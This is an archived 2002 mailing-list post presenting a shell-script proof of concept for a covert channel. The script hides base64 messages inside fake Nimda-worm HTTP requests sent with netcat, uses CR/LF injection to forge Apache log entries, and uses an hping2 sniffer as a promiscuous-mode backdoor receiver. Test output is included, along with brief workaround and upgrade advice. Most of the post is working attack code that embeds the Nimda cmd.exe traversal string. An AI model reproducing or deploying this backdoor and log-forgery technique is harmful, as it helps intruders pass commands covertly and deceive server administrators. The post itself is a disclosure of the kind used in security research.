Nimda covert channel
From: RainbowHat (nHiATlE@blSackholeP.mAit.edMu.invalid)Date: 06/19/02
- Next message: mattb: "Re: iptables and samba"
- Previous message: Michael Burnem: "Re: Preventing uploads on a specific port to internet."
- Next in thread: Ian Jones: "Re: Nimda covert channel"
- Reply: Ian Jones: "Re: Nimda covert channel"
- Reply: Darren: "Why?"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
From: RainbowHat <nHiATlE@blSackholeP.mAit.edMu.invalid> Date: Tue, 18 Jun 2002 23:47:23 +0000 (UTC)
Here is a covert channel proof of concept over Nimda imitated packets.
Apache 1.3.24 has released at 22nd March so I decided to post today.
This proof of concept code is about "Methode II".
---[ Methode I
According to CERT Advisory CA-2001-26, Nimda has 16 scan patterns.
Intruder can send informations (commands) overlapped permutation of 16.
You should check your external interface is promiscuous mode or not,
using clean `ifconfig` or other tools with turning off NIDS that used
'libpcap'. Even your httpd responded 404 code, promiscuous mode type
backdoor can receive informations.
---[ Methode II
If intruder use CR:0x0d and LF:0x0a character code trick, they can send
more informations with encrypt (this example is not encrypted but encoded).
You should check the packet size is same as original Nimda or not.
---[ Workaround
Use hex|text viewer|editor, `tr` or `sed` commands filter to view
/var/log/httpd/* log files.
---[ Solution
Update to version above 1.3.24.
+--[ http://httpd.apache.org/ ]---
|Apache 1.3.24 Major changes
|Security vulnerabilities
|* Prevent invalid client hostnames from appearing in the log file.
+---
---[ Proof of concept code
#!/bin/sh
#
# [nimdacov] Nimda covert channel proof of concept
# (promiscuous mode backdoor)
#
# Usage: $ ./nimdacov -s # send message from remote
# # ./nimdacov -r # receive (sniff) message, need root
# $ ./nimdacov # decode message (default)
#
# You need httpd, mimencode, nc (netcat) and hping2.
#
# RainbowHat, NO WARRANTY, educational purpose only.
#
# ___configuration___
Vdev='lo' # external interface device to sniff
Vtgt='127.0.0.1' # target IP
Vloc='+00' # target local time (+00 UTC)
Vlop='' # target log option
#Vlop=' \"-\" \"-\"' # User-Agent, Referer
Vsiz='343' # responded size
Vprt='80' # target port
# my message
Vmsg='Hello, this is Nimda covert channel!'
Vmgc='m491c' # magic number
Vsta="Vmgc:"; Vend=":Vmgc" # magic number start end
Vesc='\r' # escape character
Vnrm='GET / HTTP/1.0' # http normal query
# http Nimda fake query [wrapped]
Vnmd='GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c..
/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0'
rand254() # generate random number 1 to 254
{
local Lmin=1 Lmax=254
echo $(ps -ef | md5sum |
sed "y/abcdef/ABCDEF/;s/^/16i/;s/ .*/ Ai$Lmax $Lmin-1+%$Lmin+p/"|dc)
}
send() # send message
{
# encode base64
local Lenc="$Vsta$(echo "$Vmsg"|mimencode)$Vend"
# random fake IP
local Lfip=$(echo $Vtgt | awk -F. '{print $1 FS $2 FS $3 FS}')
Lfip="$Lfip$(rand254) - - "
# target local time
local Ldat="[$(date +%d/%b/%Y:%X -ud "$Vloc hours") ${Vloc}00] "
# http query
local Lreq="$Vnrm$Vesc$Lenc$Vesc$Lfip$Ldat"
Lreq="$Lreq\"$Vnmd\" 404 $Vsiz$Vlop\r\n\r\n"
# send/connect TCP
echo -ne "$Lreq" | nc $Vtgt $Vprt
}
receive() # receive message
{
/usr/sbin/hping2 -I $Vdev -9 $Vsta > nimdacov.rcv
}
decode() # decode message
{
sed "s/$Vend.*//g" nimdacov.rcv | mimencode -u
}
case z$1 in
z-s ) # send message
send;;
z-r ) # receive message
receive;;
* ) # decode message (default)
decode;;
esac
---[ Results of experimentation
# ./nimdacov -r # make interface promiscuous mode so you need root
$ ./nimdacov -s # (from remote machine)
$ tail /var/log/httpd/access_log
127.0.0.143 - - [14/Jun/2002:17:31:50 +0000] "GET /msadc/..%255c../..%255c
../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 343
$ ./nimdacov
Hello, this is Nimda covert channel!
-- Regards, RainbowHat. To spoof or not to spoof, that is the IPv4 packet. ----+----1----+----2----+----3----+----4----+----5----+----6----+----7
- Next message: mattb: "Re: iptables and samba"
- Previous message: Michael Burnem: "Re: Preventing uploads on a specific port to internet."
- Next in thread: Ian Jones: "Re: Nimda covert channel"
- Reply: Ian Jones: "Re: Nimda covert channel"
- Reply: Darren: "Why?"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
Relevant Pages
|
